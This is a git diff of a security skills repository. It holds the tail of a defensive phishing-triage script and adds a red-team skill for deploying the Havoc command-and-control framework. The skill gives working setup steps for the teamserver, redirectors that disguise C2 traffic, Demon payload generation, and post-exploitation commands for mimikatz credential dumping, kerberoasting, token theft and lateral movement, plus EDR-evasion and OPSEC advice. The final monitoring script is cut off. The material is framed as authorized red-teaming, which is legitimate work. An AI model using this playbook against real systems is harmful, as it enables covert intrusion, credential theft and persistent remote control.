reported_email.eml +""" + +import argparse +import json +import re +import hashlib +import sys +from dataclasses import dataclass, field, asdict +from collections import Counter +from datetime import datetime + + +@dataclass +class ExtractedIOCs: + """IOCs extracted from reported email.""" + sender_address: str = "" + sender_domain: str = "" + reply_to: str = "" + urls: list = field(default_factory=list) + domains: list = field(default_factory=list) + attachment_names: list = field(default_factory=list) + attachment_hashes: list = field(default_factory=list) + ip_addresses: list = field(default_factory=list) + subject: str = "" + + +@dataclass +class TriageResult: + """Triage classification result.""" + report_id: str = "" + reporter: str = "" + classification: str = "" + confidence: float = 0.0 + iocs: dict = field(default_factory=dict) + indicators: list = field(default_factory=list) + recommended_action: str = "" + auto_actionable: bool = False + + +@dataclass +class ReportingMetrics: + """Phishing reporting program metrics.""" + total_reports: int = 0 + confirmed_phishing: int = 0 + confirmed_spam: int = 0 + simulation_reports: int = 0 + false_positives: int = 0 + mean_triage_time_min: float = 0.0 + top_reporters: list = field(default_factory=list) + report_rate: float = 0.0 + + +PHISHING_INDICATORS = [ + (r'\burgent\b.*\b(action|response|attention)\b', "Urgency language", 15), + (r'\b(verify|confirm|validate)\s+your\s+(account|identity|password)\b', "Credential request", 20), + (r'\b(click|follow)\s+(here|this|the)\s+(link|button)\b', "Click-bait language", 10), + (r'\b(suspended|locked|disabled|compromised)\s+(account|access)\b', "Fear language", 15), + (r'\b(wire\s+transfer|payment|invoice|bank)\b', "Financial language", 10), + (r'\bgift\s+card\b', "Gift card request", 20), + (r'\bdo\s+not\s+(share|tell|discuss)\b', "Secrecy language", 15), +] + + +def extract_iocs(eml_content: str) -> ExtractedIOCs: + """Extract IOCs from email content.""" + iocs = ExtractedIOCs() + + # Extract From + from_match = re.search(r'^From:\s*(?:.*<)?([^>\s]+@[^>\s]+)', eml_content, + re.MULTILINE | re.IGNORECASE) + if from_match: + iocs.sender_address = from_match.group(1).strip() + domain_match = re.search(r'@([\w.-]+)', iocs.sender_address) + if domain_match: + iocs.sender_domain = domain_match.group(1) + + # Extract Reply-To + reply_match = re.search(r'^Reply-To:\s*(?:.*<)?([^>\s]+@[^>\s]+)', eml_content, + re.MULTILINE | re.IGNORECASE) + if reply_match: + iocs.reply_to = reply_match.group(1).strip() + + # Extract Subject + subj_match = re.search(r'^Subject:\s*(.+)$', eml_content, re.MULTILINE | re.IGNORECASE) + if subj_match: + iocs.subject = subj_match.group(1).strip() + + # Extract URLs + urls = re.findall(r'https?://[^\s<>"\']+', eml_content) + iocs.urls = list(set(urls)) + + # Extract domains from URLs + for url in iocs.urls: + domain_match = re.search(r'https?://([^/:\s]+)', url) + if domain_match: + domain = domain_match.group(1).lower() + if domain not in iocs.domains: + iocs.domains.append(domain) + + # Extract IP addresses from headers + ips = re.findall(r'\b(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\b', eml_content) + iocs.ip_addresses = list(set(ips)) + + # Extract attachment filenames + attachments = re.findall( + r'filename[*]?=(?:"([^"]+)"|([^\s;]+))', + eml_content, re.IGNORECASE + ) + for groups in attachments: + name = groups[0] or groups[1] + if name and name not in iocs.attachment_names: + iocs.attachment_names.append(name) + + return iocs + + +def triage_report(eml_content: str, simulation_subjects: list = None) -> TriageResult: + """Classify a reported email.""" + result = TriageResult() + iocs = extract_iocs(eml_content) + result.iocs = asdict(iocs) + + score = 0 + body_lower = eml_content.lower() + + # Check if it's a known simulation + if simulation_subjects: + for sim_subj in simulation_subjects: + if sim_subj.lower() in iocs.subject.lower(): + result.classification = "simulation" + result.confidence = 0.95 + result.recommended_action = "Credit reporter in training platform" + result.auto_actionable = True + return result + + # Check phishing indicators + for pattern, desc, weight in PHISHING_INDICATORS: + if re.search(pattern, body_lower): + result.indicators.append(desc) + score += weight + + # Check for authentication failures + auth_results = re.search(r'Authentication-Results:.*?(spf=fail|dkim=fail|dmarc=fail)', + eml_content, re.IGNORECASE | re.DOTALL) + if auth_results: + result.indicators.append(f"Authentication failure: {auth_results.group(1)}") + score += 20 + + # Check Reply-To mismatch + if iocs.reply_to and iocs.sender_address: + reply_domain = re.search(r'@([\w.-]+)', iocs.reply_to) + sender_domain = re.search(r'@([\w.-]+)', iocs.sender_address) + if reply_domain and sender_domain: + if reply_domain.group(1) != sender_domain.group(1): + result.indicators.append("Reply-To domain mismatch") + score += 15 + + # Check for suspicious attachment types + risky_extensions = ['.exe', '.scr', '.bat', '.cmd', '.ps1', '.vbs', + '.js', '.wsf', '.hta', '.iso', '.img'] + for att in iocs.attachment_names: + if any(att.lower().endswith(ext) for ext in risky_extensions): + result.indicators.append(f"Risky attachment: {att}") + score += 25 + + # Classify + if score >= 50: + result.classification = "confirmed_phishing" + result.confidence = min(score / 100, 0.95) + result.recommended_action = "Retract from all inboxes, block sender domain" + result.auto_actionable = True + elif score >= 25: + result.classification = "suspicious" + result.confidence = score / 100 + result.recommended_action = "Escalate to SOC analyst for manual review" + result.auto_actionable = False + elif score >= 10: + result.classification = "spam" + result.confidence = 0.6 + result.recommended_action = "Move to junk for all recipients" + result.auto_actionable = True + else: + result.classification = "clean" + result.confidence = 0.7 + result.recommended_action = "Return to inbox, notify reporter" + result.auto_actionable = True + + return result + + +def calculate_metrics(reports: list) -> ReportingMetrics: + """Calculate phishing reporting program metrics.""" + metrics = ReportingMetrics() + metrics.total_reports = len(reports) + + reporter_counts = Counter() + triage_times = [] + + for report in reports: + classification = report.get("classification", "") + if classification == "confirmed_phishing": + metrics.confirmed_phishing += 1 + elif classification == "spam": + metrics.confirmed_spam += 1 + elif classification == "simulation": + metrics.simulation_reports += 1 + elif classification == "clean": + metrics.false_positives += 1 + + reporter = report.get("reporter", "") + if reporter: + reporter_counts[reporter] += 1 + + triage_time = report.get("triage_time_minutes", 0) + if triage_time > 0: + triage_times.append(triage_time) + + if triage_times: + metrics.mean_triage_time_min = sum(triage_times) / len(triage_times) + + metrics.top_reporters = [ + {"reporter": r, "count": c} + for r, c in reporter_counts.most_common(10) + ] + + if metrics.total_reports > 0: + metrics.report_rate = ( + (metrics.confirmed_phishing + metrics.simulation_reports) / + metrics.total_reports * 100 + ) + + return metrics + + +def main(): + parser = argparse.ArgumentParser(description="Phishing Report Triage Engine") + subparsers = parser.add_subparsers(dest="command") + + triage_parser = subparsers.add_parser("triage", help="Triage reported email") + triage_parser.add_argument("--eml-file", required=True) + triage_parser.add_argument("--sim-subjects", nargs="*", default=[]) + + metrics_parser = subparsers.add_parser("metrics", help="Calculate reporting metrics") + metrics_parser.add_argument("--reports-file", required=True) + + ioc_parser = subparsers.add_parser("extract-iocs", help="Extract IOCs from email") + ioc_parser.add_argument("--eml-file", required=True) + + parser.add_argument("--json", action="store_true") + args = parser.parse_args() + + if args.command == "triage": + with open(args.eml_file, 'r', errors='replace') as f: + content = f.read() + result = triage_report(content, args.sim_subjects) + if args.json: + print(json.dumps(asdict(result), indent=2)) + else: + print(f"Classification: {result.classification}") + print(f"Confidence: {result.confidence:.0%}") + print(f"Action: {result.recommended_action}") + print(f"Auto-actionable: {'Yes' if result.auto_actionable else 'No'}") + if result.indicators: + print(f"Indicators:") + for ind in result.indicators: + print(f" - {ind}") + + elif args.command == "metrics": + with open(args.reports_file) as f: + reports = json.load(f) + result = calculate_metrics(reports) + if args.json: + print(json.dumps(asdict(result), indent=2)) + else: + print(f"Total reports: {result.total_reports}") + print(f"Confirmed phishing: {result.confirmed_phishing}") + print(f"Spam: {result.confirmed_spam}") + print(f"Simulations reported: {result.simulation_reports}") + print(f"False positives: {result.false_positives}") + print(f"Mean triage time: {result.mean_triage_time_min:.1f} min") + + elif args.command == "extract-iocs": + with open(args.eml_file, 'r', errors='replace') as f: + content = f.read() + iocs = extract_iocs(content) + print(json.dumps(asdict(iocs), indent=2)) + + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/building-red-team-c2-infrastructure-with-havoc/SKILL.md b/skills/building-red-team-c2-infrastructure-with-havoc/SKILL.md new file mode 100644 index 00000000..253f5722 --- /dev/null +++ b/skills/building-red-team-c2-infrastructure-with-havoc/SKILL.md @@ -0,0 +1,284 @@ +--- +name: building-red-team-c2-infrastructure-with-havoc +description: Deploy and configure the Havoc C2 framework with teamserver, HTTPS listeners, redirectors, and Demon agents for authorized red team operations. +domain: cybersecurity +subdomain: red-teaming +tags: [havoc-c2, command-and-control, red-team-infrastructure, post-exploitation, adversary-emulation, demon-agent] +version: "1.0" +author: mahipal +license: MIT +--- + +# Building Red Team C2 Infrastructure with Havoc + +## Overview + +Havoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP/HTTPS/SMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements. + +## Prerequisites + +- Ubuntu 22.04 LTS or Debian 11+ (for Teamserver) +- Kali Linux 2023+ (for Client) +- VPS providers: DigitalOcean, Linode, or AWS EC2 (minimum 2GB RAM, 2 vCPU) +- Domain name aged 30+ days with valid SSL certificate +- Written authorization for red team engagement + +## Architecture + +``` +┌──────────────────────────────────────────────────────────────┐ +│ HAVOC C2 ARCHITECTURE │ +├──────────────────────────────────────────────────────────────┤ +│ │ +│ ┌──────────┐ ┌──────────────┐ ┌──────────────────┐ │ +│ │ Havoc │────▶│ HTTPS │────▶│ Target Network │ │ +│ │ Client │ │ Redirector │ │ (Demon Agent) │ │ +│ │ (Kali) │ │ (Nginx/CDN) │ │ │ │ +│ └──────────┘ └──────────────┘ └──────────────────┘ │ +│ │ │ │ +│ │ ┌──────────────┐ │ +│ └──────────▶│ Havoc │ │ +│ │ Teamserver │ │ +│ │ (Ubuntu VPS)│ │ +│ │ Port 40056 │ │ +│ └──────────────┘ │ +│ │ +└──────────────────────────────────────────────────────────────┘ +``` + +## Step 1: Install Havoc Teamserver + +```bash +# Clone the Havoc repository +git clone https://github.com/HavocFramework/Havoc.git +cd Havoc + +# Install dependencies (Ubuntu 22.04) +sudo apt update +sudo apt install -y git build-essential apt-utils cmake libfontconfig1 \ + libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \ + libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \ + libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \ + qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \ + qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \ + python3-dev libboost-all-dev mingw-w64 nasm + +# Build the Teamserver +cd teamserver +go mod download golang.org/x/sys +go mod download github.com/ugorji/go +cd .. +make ts-build + +# Build the Client +make client-build +``` + +## Step 2: Configure Teamserver Profile + +Create the Havoc profile (`havoc.yaotl`): + +```hcl +Teamserver { + Host = "0.0.0.0" + Port = 40056 + + Build { + Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc" + Compiler86 = "/usr/bin/i686-w64-mingw32-gcc" + Nasm = "/usr/bin/nasm" + } +} + +Operators { + user "operator1" { + Password = "Str0ngP@ssw0rd!" + } + user "operator2" { + Password = "An0th3rP@ss!" + } +} + +Listeners { + Http { + Name = "HTTPS Listener" + Hosts = ["c2.yourdomain.com"] + HostBind = "0.0.0.0" + HostRotation = "round-robin" + PortBind = 443 + PortConn = 443 + Secure = true + UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" + + Uris = [ + "/api/v2/auth", + "/api/v2/status", + "/content/images/gallery", + ] + + Headers = [ + "X-Requested-With: XMLHttpRequest", + "Content-Type: application/json", + ] + + Response { + Headers = [ + "Content-Type: application/json", + "Server: nginx/1.24.0", + "X-Frame-Options: DENY", + ] + } + } +} + +Demon { + Sleep = 10 + Jitter = 30 + + TrustXForwardedFor = false + + Injection { + Spawn64 = "C:\\Windows\\System32\\notepad.exe" + Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe" + } +} +``` + +## Step 3: Start Teamserver + +```bash +# Start the Havoc Teamserver with the profile +./havoc server --profile ./profiles/havoc.yaotl -v + +# Expected output: +# [*] Havoc Framework [Version: 0.7] +# [*] Teamserver started on: 0.0.0.0:40056 +# [*] HTTPS Listener started on: 0.0.0.0:443 +``` + +## Step 4: Configure HTTPS Redirector + +Set up an Nginx reverse proxy on a separate VPS as a redirector: + +```nginx +# /etc/nginx/sites-available/c2-redirector +server { + listen 443 ssl; + server_name c2.yourdomain.com; + + ssl_certificate /etc/letsencrypt/live/c2.yourdomain.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/c2.yourdomain.com/privkey.pem; + + # Only forward traffic matching C2 URIs + location /api/v2/auth { + proxy_pass https://TEAMSERVER_IP:443; + proxy_ssl_verify off; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-For $remote_addr; + } + + location /api/v2/status { + proxy_pass https://TEAMSERVER_IP:443; + proxy_ssl_verify off; + proxy_set_header Host $host; + } + + location /content/images/gallery { + proxy_pass https://TEAMSERVER_IP:443; + proxy_ssl_verify off; + proxy_set_header Host $host; + } + + # Redirect all other traffic to legitimate site + location / { + return 301 https://www.microsoft.com; + } +} +``` + +## Step 5: Generate Demon Payload + +```bash +# Via the Havoc Client GUI: +# Attack > Payload +# Agent: Demon +# Listener: HTTPS Listener +# Arch: x64 +# Format: Windows Exe / Windows Shellcode +# Sleep Technique: WaitForSingleObjectEx (Ekko) +# Spawn: C:\Windows\System32\notepad.exe + +# The generated Demon payload connects back through: +# Target -> Redirector (Nginx) -> Teamserver +``` + +## Step 6: Post-Exploitation with Demon + +Once a Demon session checks in, common post-exploitation commands: + +``` +# Session interaction +demon> whoami +demon> shell systeminfo +demon> shell ipconfig /all + +# Process listing +demon> proc list + +# File operations +demon> download C:\Users\target\Documents\sensitive.docx +demon> upload /tools/Rubeus.exe C:\Windows\Temp\r.exe + +# In-memory .NET execution (no disk touch) +demon> dotnet inline-execute /tools/Seatbelt.exe -group=all +demon> dotnet inline-execute /tools/SharpHound.exe -c All + +# Token manipulation +demon> token steal +demon> token make DOMAIN\user password + +# Credential access +demon> mimikatz sekurlsa::logonpasswords +demon> dotnet inline-execute /tools/Rubeus.exe kerberoast + +# Lateral movement +demon> jump psexec TARGET_HOST HTTPS_LISTENER +demon> jump winrm TARGET_HOST HTTPS_LISTENER + +# Pivoting +demon> socks start 1080 +demon> rportfwd start 8080 TARGET_INTERNAL 80 +``` + +## OPSEC Considerations + +| Aspect | Recommendation | +|---|---| +| Domain Age | Register domains 30+ days before engagement | +| SSL Certificates | Use Let's Encrypt or purchased certificates, never self-signed | +| Categorization | Submit domain to Bluecoat/Fortiguard for categorization | +| Sleep/Jitter | Minimum 10s sleep with 30%+ jitter for long-haul operations | +| User-Agent | Match target organization's common browser user-agent | +| Kill Date | Set payload expiration to engagement end date | +| Infrastructure | Separate teamserver, redirector, and phishing infrastructure | +| Payload Format | Use shellcode with custom loader instead of raw EXE | + +## MITRE ATT&CK Mapping + +| Technique ID | Name | Phase | +|---|---|---| +| T1583.001 | Acquire Infrastructure: Domains | Resource Development | +| T1583.003 | Acquire Infrastructure: Virtual Private Server | Resource Development | +| T1587.001 | Develop Capabilities: Malware | Resource Development | +| T1071.001 | Application Layer Protocol: Web Protocols | Command and Control | +| T1573.002 | Encrypted Channel: Asymmetric Cryptography | Command and Control | +| T1090.002 | Proxy: External Proxy | Command and Control | +| T1105 | Ingress Tool Transfer | Command and Control | +| T1055 | Process Injection | Defense Evasion | + +## References + +- Havoc Framework GitHub: https://github.com/HavocFramework/Havoc +- Havoc Wiki: https://github.com/HavocFramework/Havoc/blob/main/WIKI.MD +- RedTeamOps Havoc 101: https://github.com/WesleyWong420/RedTeamOps-Havoc-101 +- Deploying Havoc C2 via Terraform: https://www.100daysofredteam.com/p/red-team-infrastructure-deploying-havoc-c2-via-terraform diff --git a/skills/building-red-team-c2-infrastructure-with-havoc/assets/template.md b/skills/building-red-team-c2-infrastructure-with-havoc/assets/template.md new file mode 100644 index 00000000..53fbe21c --- /dev/null +++ b/skills/building-red-team-c2-infrastructure-with-havoc/assets/template.md @@ -0,0 +1,129 @@ +# Havoc C2 Infrastructure Configuration Template + +## Engagement Details + +| Field | Value | +|---|---| +| Engagement ID | RT-YYYY-XXX | +| Client | [Organization] | +| Operators | [Names] | +| Start Date | YYYY-MM-DD | +| End Date | YYYY-MM-DD | +| Kill Date | YYYY-MM-DD | + +## Infrastructure Inventory + +### Teamserver + +| Field | Value | +|---|---| +| Provider | [AWS/DigitalOcean/Linode] | +| IP Address | X.X.X.X | +| OS | Ubuntu 22.04 LTS | +| Port | 40056 | +| Havoc Version | 0.7 | +| Access | SSH Key: [key name] | + +### Redirector(s) + +| Name | Provider | IP | Domain | SSL Cert | Status | +|---|---|---|---|---|---| +| Redirector-1 | [Provider] | X.X.X.X | c2.domain.com | Let's Encrypt | Active | +| Redirector-2 | [Provider] | X.X.X.X | cdn.domain2.com | Let's Encrypt | Standby | + +### Domains + +| Domain | Purpose | Registered | Aged | Categorized | SSL | +|---|---|---|---|---|---| +| c2.domain.com | Primary C2 | YYYY-MM-DD | Yes (45 days) | Business | Yes | +| cdn.domain2.com | Backup C2 | YYYY-MM-DD | Yes (60 days) | Technology | Yes | +| phish.domain3.com | Phishing | YYYY-MM-DD | Yes (30 days) | Uncategorized | Yes | + +## Havoc Profile Configuration + +```yaml +Teamserver: + Host: "0.0.0.0" + Port: 40056 + +Operators: + - Username: operator1 + Password: [REDACTED] + - Username: operator2 + Password: [REDACTED] + +Listeners: + - Name: "Primary HTTPS" + Type: HTTPS + Host: c2.domain.com + Port: 443 + URIs: ["/api/v2/auth", "/api/v2/status", "/content/images/gallery"] + User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" + Jitter: 30% + + - Name: "SMB Pivot" + Type: SMB + PipeName: "\\ntsvcs" + +Demon: + Sleep: 10 + Jitter: 30 + Spawn64: "C:\\Windows\\System32\\notepad.exe" + Spawn32: "C:\\Windows\\SysWOW64\\notepad.exe" +``` + +## Payload Inventory + +| Payload | Format | Listener | Arch | Hash (SHA256) | Delivery | +|---|---|---|---|---|---| +| stage1.bin | Shellcode | Primary HTTPS | x64 | [hash] | Custom loader | +| beacon.dll | DLL | Primary HTTPS | x64 | [hash] | DLL sideloading | +| pivot.exe | Service EXE | SMB Pivot | x64 | [hash] | Lateral movement | + +## OPSEC Checklist + +### Pre-Engagement +- [ ] Domains registered 30+ days before engagement start +- [ ] Domains categorized in Bluecoat, Fortiguard, Palo Alto +- [ ] SSL certificates obtained from trusted CA (not self-signed) +- [ ] Teamserver hardened (SSH keys only, fail2ban, UFW) +- [ ] Redirector filtering non-C2 traffic to legitimate site +- [ ] Malleable profile customized (URIs, headers, user-agent) +- [ ] Payloads tested against target AV/EDR in isolated lab +- [ ] Kill date configured on all payloads +- [ ] Operator logs enabled and encrypted at rest + +### During Engagement +- [ ] Beacon sleep/jitter appropriate for operation phase +- [ ] No default Havoc indicators in network traffic +- [ ] Post-exploitation tools loaded in-memory only +- [ ] Named pipes and service names randomized +- [ ] Token manipulation used instead of credential replay where possible + +### Post-Engagement +- [ ] All Demon sessions terminated +- [ ] All persistence mechanisms removed from target +- [ ] All payloads removed from target systems +- [ ] Teamserver logs archived and encrypted +- [ ] VPS instances destroyed +- [ ] Domains released or parked +- [ ] IOC list provided to client + +## Emergency Procedures + +| Scenario | Action | +|---|---| +| Burned domain | Switch to backup redirector | +| Detected implant | Sleep beacon to 24h, assess exposure | +| Teamserver compromise | Kill all sessions, rotate infrastructure | +| Client emergency stop | Execute `killall` on all active Demons | +| Legal escalation | Contact [Legal Contact] at [phone] | + +## Operator Communication + +| Channel | Purpose | +|---|---| +| Signal Group | Real-time coordination | +| Encrypted Email | Reports and documentation | +| Havoc Chat | In-tool session coordination | +| Emergency Phone | [Phone number] for critical issues | diff --git a/skills/building-red-team-c2-infrastructure-with-havoc/references/standards.md b/skills/building-red-team-c2-infrastructure-with-havoc/references/standards.md new file mode 100644 index 00000000..bc45583d --- /dev/null +++ b/skills/building-red-team-c2-infrastructure-with-havoc/references/standards.md @@ -0,0 +1,62 @@ +# Standards and References: Havoc C2 Infrastructure + +## MITRE ATT&CK Techniques + +### Resource Development (TA0042) +- **T1583.001** - Acquire Infrastructure: Domains +- **T1583.003** - Acquire Infrastructure: Virtual Private Server +- **T1583.006** - Acquire Infrastructure: Web Services +- **T1587.001** - Develop Capabilities: Malware +- **T1587.003** - Develop Capabilities: Digital Certificates +- **T1608.001** - Stage Capabilities: Upload Malware +- **T1608.005** - Stage Capabilities: Link Target + +### Command and Control (TA0011) +- **T1071.001** - Application Layer Protocol: Web Protocols (HTTP/HTTPS) +- **T1573.001** - Encrypted Channel: Symmetric Cryptography +- **T1573.002** - Encrypted Channel: Asymmetric Cryptography +- **T1090.001** - Proxy: Internal Proxy +- **T1090.002** - Proxy: External Proxy +- **T1090.004** - Proxy: Domain Fronting +- **T1105** - Ingress Tool Transfer +- **T1132.001** - Data Encoding: Standard Encoding +- **T1001** - Data Obfuscation +- **T1568.002** - Dynamic Resolution: Domain Generation Algorithms +- **T1571** - Non-Standard Port +- **T1572** - Protocol Tunneling + +### Defense Evasion (TA0005) +- **T1055** - Process Injection +- **T1055.012** - Process Hollowing +- **T1620** - Reflective Code Loading +- **T1027** - Obfuscated Files or Information +- **T1497** - Virtualization/Sandbox Evasion +- **T1140** - Deobfuscate/Decode Files or Information + +### Execution (TA0002) +- **T1059.001** - PowerShell +- **T1106** - Native API +- **T1129** - Shared Modules + +## NIST References + +- **NIST SP 800-115** - Section 4.3: Penetration Testing (authorized C2 usage) +- **NIST SP 800-53 Rev. 5** - CA-8: Penetration Testing controls +- **NIST SP 800-53 Rev. 5** - SI-4: Information System Monitoring (detection of C2) + +## Havoc-Specific Detection Signatures + +| Detection | Source | Rule | +|---|---|---| +| Default Havoc HTTP Headers | Network IDS | `alert http any any -> any any (msg:"Havoc C2 Default Headers"; content:"X-Havoc"; sid:1000001;)` | +| Demon Sleep Patterns | EDR | Periodic beaconing with consistent intervals +/- jitter | +| Named Pipe Patterns | Sysmon | EventID 17/18 with `\\.\pipe\` matching Havoc defaults | +| Default Teamserver Port | Firewall | TCP 40056 outbound | + +## Compliance Context + +Havoc C2 usage is only authorized under: +- Signed Rules of Engagement (RoE) documents +- Authorized penetration testing under PCI DSS 11.4, SOC 2 CC7.1 +- TIBER-EU / CBEST threat-led penetration testing frameworks +- Bug bounty programs with explicit C2 authorization diff --git a/skills/building-red-team-c2-infrastructure-with-havoc/references/workflows.md b/skills/building-red-team-c2-infrastructure-with-havoc/references/workflows.md new file mode 100644 index 00000000..8e8f7c22 --- /dev/null +++ b/skills/building-red-team-c2-infrastructure-with-havoc/references/workflows.md @@ -0,0 +1,177 @@ +# Workflows: Havoc C2 Infrastructure Deployment + +## Infrastructure Deployment Workflow + +``` +┌─────────────────────────────────────────────────────────────────┐ +│ HAVOC C2 DEPLOYMENT WORKFLOW │ +├─────────────────────────────────────────────────────────────────┤ +│ │ +│ 1. DOMAIN & INFRASTRUCTURE PREPARATION (Week -4) │ +│ ├── Register domain names (aged 30+ days) │ +│ ├── Submit domains for categorization (Bluecoat, Fortiguard) │ +│ ├── Provision VPS instances (Teamserver + Redirector) │ +│ ├── Obtain SSL certificates (Let's Encrypt) │ +│ └── Configure DNS A records │ +│ │ +│ 2. TEAMSERVER SETUP (Day 1) │ +│ ├── Install dependencies on Ubuntu VPS │ +│ ├── Clone and build Havoc from source │ +│ ├── Create teamserver profile (havoc.yaotl) │ +│ │ ├── Configure operator credentials │ +│ │ ├── Define listeners (HTTPS, SMB) │ +│ │ ├── Set Demon agent parameters │ +│ │ └── Configure malleable traffic profiles │ +│ ├── Harden teamserver (iptables, fail2ban) │ +│ └── Start teamserver with verbose logging │ +│ │ +│ 3. REDIRECTOR CONFIGURATION (Day 1-2) │ +│ ├── Install Nginx on redirector VPS │ +│ ├── Configure SSL termination │ +│ ├── Set up reverse proxy rules │ +│ │ ├── Forward C2 URIs to teamserver │ +│ │ └── Redirect non-matching traffic to legit site │ +│ ├── Configure access logging │ +│ └── Test end-to-end connectivity │ +│ │ +│ 4. PAYLOAD DEVELOPMENT (Day 2-3) │ +│ ├── Generate Demon shellcode via Havoc Client │ +│ ├── Develop custom loader (C/Rust/Nim) │ +│ │ ├── AES-encrypt shellcode │ +│ │ ├── Implement sleep obfuscation │ +│ │ ├── Add sandbox checks │ +│ │ └── Use indirect syscalls │ +│ ├── Test against AV/EDR in lab │ +│ └── Package for delivery vector │ +│ │ +│ 5. OPERATIONAL TESTING (Day 3-4) │ +│ ├── Test beacon callback through full chain │ +│ ├── Verify redirector filtering │ +│ ├── Test sleep/jitter behavior │ +│ ├── Validate post-exploitation modules │ +│ └── Confirm kill switch functionality │ +│ │ +│ 6. OPERATIONAL USE (Engagement period) │ +│ ├── Deploy payloads via approved vectors │ +│ ├── Manage sessions through Havoc Client │ +│ ├── Execute post-exploitation tasks │ +│ ├── Maintain operator logs │ +│ └── Monitor infrastructure health │ +│ │ +│ 7. TEAR-DOWN (Post-engagement) │ +│ ├── Remove all implants from target systems │ +│ ├── Archive engagement logs │ +│ ├── Destroy VPS instances │ +│ ├── Release domain names │ +│ └── Provide IOCs to client for deconfliction │ +│ │ +└─────────────────────────────────────────────────────────────────┘ +``` + +## Havoc Listener Configuration Decision Tree + +``` +Select Listener Type +│ +├── External (Internet-facing targets)? +│ ├── HTTPS Listener +│ │ ├── Use valid SSL certificate +│ │ ├── Configure malleable URIs +│ │ ├── Set User-Agent to match target +│ │ └── Route through redirector +│ └── HTTP Listener (lab only) +│ └── Never use in production operations +│ +├── Internal (post-initial access)? +│ ├── SMB Listener (named pipe) +│ │ ├── For workstation-to-workstation pivoting +│ │ └── No direct internet connectivity needed +│ └── TCP Listener +│ └── For direct internal connections +│ +└── Advanced? + └── External C2 Listener + ├── Custom protocol over DNS + ├── Domain fronting via CDN + └── Third-party service channels +``` + +## Terraform Deployment Template + +```hcl +# main.tf - Automated Havoc C2 Infrastructure +provider "aws" { + region = "us-east-1" +} + +resource "aws_instance" "teamserver" { + ami = "ami-0c7217cdde317cfec" # Ubuntu 22.04 + instance_type = "t3.medium" + key_name = var.ssh_key_name + + vpc_security_group_ids = [aws_security_group.teamserver_sg.id] + + user_data = file("scripts/install_havoc.sh") + + tags = { + Name = "havoc-teamserver" + } +} + +resource "aws_instance" "redirector" { + ami = "ami-0c7217cdde317cfec" + instance_type = "t3.micro" + key_name = var.ssh_key_name + + vpc_security_group_ids = [aws_security_group.redirector_sg.id] + + user_data = file("scripts/install_redirector.sh") + + tags = { + Name = "havoc-redirector" + } +} + +resource "aws_security_group" "teamserver_sg" { + name = "havoc-teamserver-sg" + + ingress { + from_port = 40056 + to_port = 40056 + protocol = "tcp" + cidr_blocks = [var.operator_ip] + } + + ingress { + from_port = 443 + to_port = 443 + protocol = "tcp" + cidr_blocks = [aws_instance.redirector.public_ip] + } +} + +resource "aws_security_group" "redirector_sg" { + name = "havoc-redirector-sg" + + ingress { + from_port = 443 + to_port = 443 + protocol = "tcp" + cidr_blocks = ["0.0.0.0/0"] + } +} +``` + +## OPSEC Checklist + +- [ ] Domains aged 30+ days before use +- [ ] Domains categorized in web proxies +- [ ] Valid SSL certificates installed +- [ ] Teamserver port (40056) firewalled to operator IPs only +- [ ] Redirector configured to filter non-C2 traffic +- [ ] Malleable C2 profile customized (URIs, headers, user-agent) +- [ ] Demon sleep set to 10+ seconds with 30%+ jitter +- [ ] Payload tested against target AV/EDR in lab +- [ ] Kill date set on all payloads +- [ ] Operator logs enabled and encrypted +- [ ] Emergency deconfliction process documented diff --git a/skills/building-red-team-c2-infrastructure-with-havoc/scripts/process.py b/skills/building-red-team-c2-infrastructure-with-havoc/scripts/process.py new file mode 100644 index 00000000..bc935e76 --- /dev/null +++ b/skills/building-red-team-c2-infrastructure-with-havoc/scripts/process.py @@ -0,0 +1,355 @@ +#!/usr/bin/env python3 +""" +Havoc C2 Infrastructure Health Monitor + +Monitors Havoc C2 infrastructure components (teamserver, redirectors, +listeners) and generates operational status reports for red team operations. +""" + +import json +import socket +import ssl +import os +import hashlib +import subprocess +import time +from datetime import datetime +from dataclasses import dataclass, field, asdict +from typing import Optional +from urllib.request import urlopen, Request +from urllib.error import URLError, HTTPError + + +@dataclass +class InfraComponent: + """Represents an infrastructure component.""" + name: str + host: str + port: int + component_type: str # teamserver, redirector, listener, dns + protocol: str = "tcp" + expected_response: str = "" + ssl_enabled: bool = False + + +@dataclass +class HealthCheck: + """Result of a health check.""" + component: str + host: str + port: int + status: str # up, down, degraded + latency_ms: float = 0.0 + ssl_valid: bool = False + ssl_expiry: str = "" + details: str = "" + timestamp: str = "" + + +class HavocInfraMonitor: + """Monitor Havoc C2 infrastructure health and OPSEC status.""" + + def __init__(self, config_path: Optional[str] = None): + self.components: list[InfraComponent] = [] + self.check_results: list[HealthCheck] = [] + self.alerts: list[str] = [] + + if config_path and os.path.exists(config_path): + self._load_config(config_path) + + def _load_config(self, config_path: str) -> None: + """Load infrastructure configuration from JSON.""" + with open(config_path) as f: + config = json.load(f) + for comp in config.get("components", []): + self.components.append(InfraComponent(**comp)) + + def add_component(self, component: InfraComponent) -> None: + """Add an infrastructure component to monitor.""" + self.components.append(component) + + def check_tcp_port(self, host: str, port: int, timeout: float = 5.0) -> tuple[bool, float]: + """Check if a TCP port is open and measure latency.""" + start = time.time() + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + result = sock.connect_ex((host, port)) + latency = (time.time() - start) * 1000 + sock.close() + return result == 0, latency + except (socket.error, socket.timeout): + return False, 0.0 + + def check_ssl_certificate(self, host: str, port: int = 443) -> dict: + 